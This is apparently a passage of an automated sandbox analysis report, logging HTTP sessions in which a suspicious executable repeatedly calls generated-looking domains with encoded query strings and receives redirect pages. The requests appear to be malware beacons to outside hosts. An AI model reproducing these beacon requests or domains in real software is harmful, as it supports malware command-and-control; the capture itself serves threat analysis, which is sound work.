Sep 7, 2024 15:35:23.450212002 CEST	919	IN	Data Raw: 63 74 54 79 70 65 3d 6d 65 74 61 22 3b 0a 09 09 09 76 61 72 20 61 64 64 44 65 74 65 63 74 69 6f 6e 20 3d 20 74 72 75 65 3b 0a 09 09 09 69 66 20 28 61 64 64 44 65 74 65 63 74 69 6f 6e 29 20 7b 0a 09 09 09 09 76 61 72 20 69 6e 49 66 72 61 6d 65 20 Data Ascii: ctType=meta";var addDetection = true;if (addDetection) {var inIframe = window.self !== window.top;forwardingUrl += "&inIframe=" + inIframe;var inPopUp = (window.opener !== undefined && window.opener !== null && window.op

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.3	61431	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:23.460443020 CEST	169	OUT	GET /d/N?023449DD0C3349DD0C0649B50C344953DFA071755635491DA4364AEB220667E43E0479F30C HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:23.942939997 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:23 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?023449DD0C3349DD0C0649B50C344953DFA071755635491DA4364AEB220667E43E0479F30C Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.3	61432	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:23.981574059 CEST	201	OUT	GET /d/N?023449DD0C3349DD0C0649B50C344953DFA071755635491DA4364AEB220667E43E0479F30C HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:24.468375921 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:24 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?023449DD0C3349DD0C0649B50C344953DFA071755635491DA4364AEB220667E43E0479F30C Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.3	61434	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:25.692785978 CEST	169	OUT	GET /d/N?0244C4EA6D43C4EA6D76C4C26D44C464BED0FC423745C42AC546C7DC4376EAD35F74F4C46D HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:26.198714972 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:26 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0244C4EA6D43C4EA6D76C4C26D44C464BED0FC423745C42AC546C7DC4376EAD35F74F4C46D Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.3	61435	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:26.205091953 CEST	201	OUT	GET /d/N?0244C4EA6D43C4EA6D76C4C26D44C464BED0FC423745C42AC546C7DC4376EAD35F74F4C46D HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:26.689641953 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:26 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0244C4EA6D43C4EA6D76C4C26D44C464BED0FC423745C42AC546C7DC4376EAD35F74F4C46D Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.3	61437	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:28.316346884 CEST	169	OUT	GET /d/N?025A2542705D25427068256A705A25CCA3CE1DEA2A5B2582D85826745E680B7B426A156C70 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:28.819891930 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:28 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025A2542705D25427068256A705A25CCA3CE1DEA2A5B2582D85826745E680B7B426A156C70 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.3	61438	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:28.827173948 CEST	201	OUT	GET /d/N?025A2542705D25427068256A705A25CCA3CE1DEA2A5B2582D85826745E680B7B426A156C70 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:29.328645945 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:29 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025A2542705D25427068256A705A25CCA3CE1DEA2A5B2582D85826745E680B7B426A156C70 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.3	61440	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:32.054176092 CEST	169	OUT	GET /d/N?0296922D8A91922D8AA492058A9692A35902AA85D09792ED2294911BA4A4BC14B8A6A2038A HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:32.550985098 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:32 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0296922D8A91922D8AA492058A9692A35902AA85D09792ED2294911BA4A4BC14B8A6A2038A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.3	61441	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:32.559194088 CEST	201	OUT	GET /d/N?0296922D8A91922D8AA492058A9692A35902AA85D09792ED2294911BA4A4BC14B8A6A2038A HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:33.043735027 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:32 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0296922D8A91922D8AA492058A9692A35902AA85D09792ED2294911BA4A4BC14B8A6A2038A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.3	61443	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:35.161819935 CEST	169	OUT	GET /d/N?0238A005623FA005620AA02D6238A08BB1AC98AD3839A0C5CA3AA3334C0A8E3C5008902B62 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:35.661936998 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:35 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0238A005623FA005620AA02D6238A08BB1AC98AD3839A0C5CA3AA3334C0A8E3C5008902B62 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.3	61444	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:35.669734001 CEST	201	OUT	GET /d/N?0238A005623FA005620AA02D6238A08BB1AC98AD3839A0C5CA3AA3334C0A8E3C5008902B62 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:36.181003094 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:36 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0238A005623FA005620AA02D6238A08BB1AC98AD3839A0C5CA3AA3334C0A8E3C5008902B62 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.3	61446	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:39.460474014 CEST	169	OUT	GET /d/N?027124AD727624AD7243248572712423A1E51C052870246DDA73279B5C430A944041148372 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:39.944184065 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:39 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?027124AD727624AD7243248572712423A1E51C052870246DDA73279B5C430A944041148372 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.3	61447	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:39.969407082 CEST	201	OUT	GET /d/N?027124AD727624AD7243248572712423A1E51C052870246DDA73279B5C430A944041148372 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:35:40.460124969 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:40 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?027124AD727624AD7243248572712423A1E51C052870246DDA73279B5C430A944041148372 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.3	61448	45.79.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:40.795895100 CEST	122	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: ysbgwpqywiujo.ph Cache-Control: no-cache
Sep 7, 2024 15:35:41.302834034 CEST	1236	IN	HTTP/1.1 200 OK date: Sat, 07 Sep 2024 13:35:41 GMT server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.5.38 x-powered-by: PHP/5.5.38 cache-control: no-cache pragma: no-cache content-length: 1960 content-type: text/html; charset=UTF-8 Data Raw: 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 73 63 72 69 70 74 3e 0a 09 09 09 76 61 72 20 66 6f 72 77 61 72 64 69 6e 67 55 72 6c 20 3d 20 22 2f 70 61 67 65 2f 62 6f 75 6e 63 79 2e 70 68 70 3f 26 62 70 61 65 3d 47 62 68 47 64 69 63 47 6f 31 78 37 6a 25 32 42 39 6c 57 67 53 63 52 6d 32 6a 63 44 5a 39 5a 75 4a 6f 59 73 45 30 38 42 69 44 51 4d 44 36 43 4f 39 42 70 4c 55 4f 45 5a 49 6e 72 70 25 32 46 25 32 42 59 36 37 49 4c 57 47 75 6d 59 50 64 4b 35 48 42 55 51 7a 77 35 67 48 70 36 6a 71 47 6d 57 31 73 4c 75 78 59 6f 64 35 6f 4e 62 6f 59 37 66 4d 66 68 33 64 4c 74 4a 47 6c 43 78 72 25 32 42 34 45 6a 37 59 41 76 70 39 34 51 6a 33 48 58 55 4e 38 55 63 68 6a 63 41 79 42 50 66 54 4e 33 4c 6b 75 58 6f 70 25 32 42 69 70 5a 6f 6d 47 48 47 58 65 31 42 48 30 71 48 46 6a 66 32 6c 4f 48 53 30 49 44 74 43 52 6d 43 69 51 51 34 48 33 55 79 48 49 71 76 77 5a 6b 79 53 6c 36 45 4b 47 59 63 77 4f 4d 76 34 6e 38 47 38 79 47 79 76 5a 45 66 44 38 45 73 67 77 33 56 36 6d 6f 34 71 4b 6d 4a 57 38 25 32 46 4d 65 6a 51 [TRUNCATED] Data Ascii: <html><head><script>var forwardingUrl = "/page/bouncy.php?&bpae=GbhGdicGo1x7j%2B9lWgScRm2jcDZ9ZuJoYsE08BiDQMD6CO9BpLUOEZInrp%2F%2BY67ILWGumYPdK5HBUQzw5gHp6jqGmW1sLuxYod5oNboY7fMfh3dLtJGlCxr%2B4Ej7YAvp94Qj3HXUN8UchjcAyBPfTN3LkuXop%2BipZomGHGXe1BH0qHFjf2lOHS0IDtCRmCiQQ4H3UyHIqvwZkySl6EKGYcwOMv4n8G8yGyvZEfD8Esgw3V6mo4qKmJW8%2FMejQItTrGLWM9%2F03kXvndUOTFYFKJI4vCuDq%2FwQUA4Tkc0EresXf1oHenb12%2FFMGfjFNggkTKbWjxVjCeqNKTaMkJrtr%2Fcl3EoOUpiEH7cKucXDGbEL2xN1BCjFxcv%2B2nPOxOt4JiJzAoCqlAkAl3Uzk%2BHAOXf90m0%3D&redirectType=js";var destinationUrl = "/page/bouncy.php?&bpae=GbhGdicGo1x7j%2B9lWgScRm2jcDZ9ZuJoYsE08BiDQMD6CO9BpLUOEZInrp%2F%2BY67ILWGumYPdK5HBUQzw5gHp6jqGmW1sLuxYod5oNboY7fMfh3dLtJGlCxr%2B4Ej7YAvp94Qj3HXUN8UchjcAyBPfTN3LkuXop%2BipZomGHGXe1BH0qHFjf2lOHS0IDtCRmCiQQ4H3UyHIqvwZkySl6EKGYcwOMv4n8G8yGyvZEfD8Esgw3V6mo4qKmJW8%2FMejQItTrGLWM9%2F03kXvndUOTFYFKJI4vCuDq%2FwQUA4Tkc0EresXf1oHenb12%2FFMGfjFNggkTKbWjxVjCeqNKTaMkJrtr%2Fcl3EoOUpiEH7cKucXDGbEL2xN1BCjFxcv%2B2nPOxOt4JiJ
Sep 7, 2024 15:35:41.302956104 CEST	973	IN	Data Raw: 7a 41 6f 43 71 6c 41 6b 41 6c 33 55 7a 6b 25 32 42 48 41 4f 58 66 39 30 6d 30 25 33 44 26 72 65 64 69 72 65 63 74 54 79 70 65 3d 6d 65 74 61 22 3b 0a 09 09 09 76 61 72 20 61 64 64 44 65 74 65 63 74 69 6f 6e 20 3d 20 74 72 75 65 3b 0a 09 09 09 69 Data Ascii: zAoCqlAkAl3Uzk%2BHAOXf90m0%3D&redirectType=meta";var addDetection = true;if (addDetection) {var inIframe = window.self !== window.top;forwardingUrl += "&inIframe=" + inIframe;var inPopUp = (window.opener !== undefined &&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.3	61449	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:41.322686911 CEST	169	OUT	GET /d/N?0203E9253204E9253231E94D3203E9ABE197D18D6802E9E59A01EA131C31C71C0033D90B32 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:35:41.842564106 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:35:41 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0203E9253204E9253231E94D3203E9ABE197D18D6802E9E59A01EA131C31C71C0033D90B32 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.3	61450	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:35:41.850671053 CEST	201	OUT	GET /d/N?0203E9253204E9253231E94D3203E9ABE197D18D6802E9E59A01EA131C31C71C0033D90B32 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
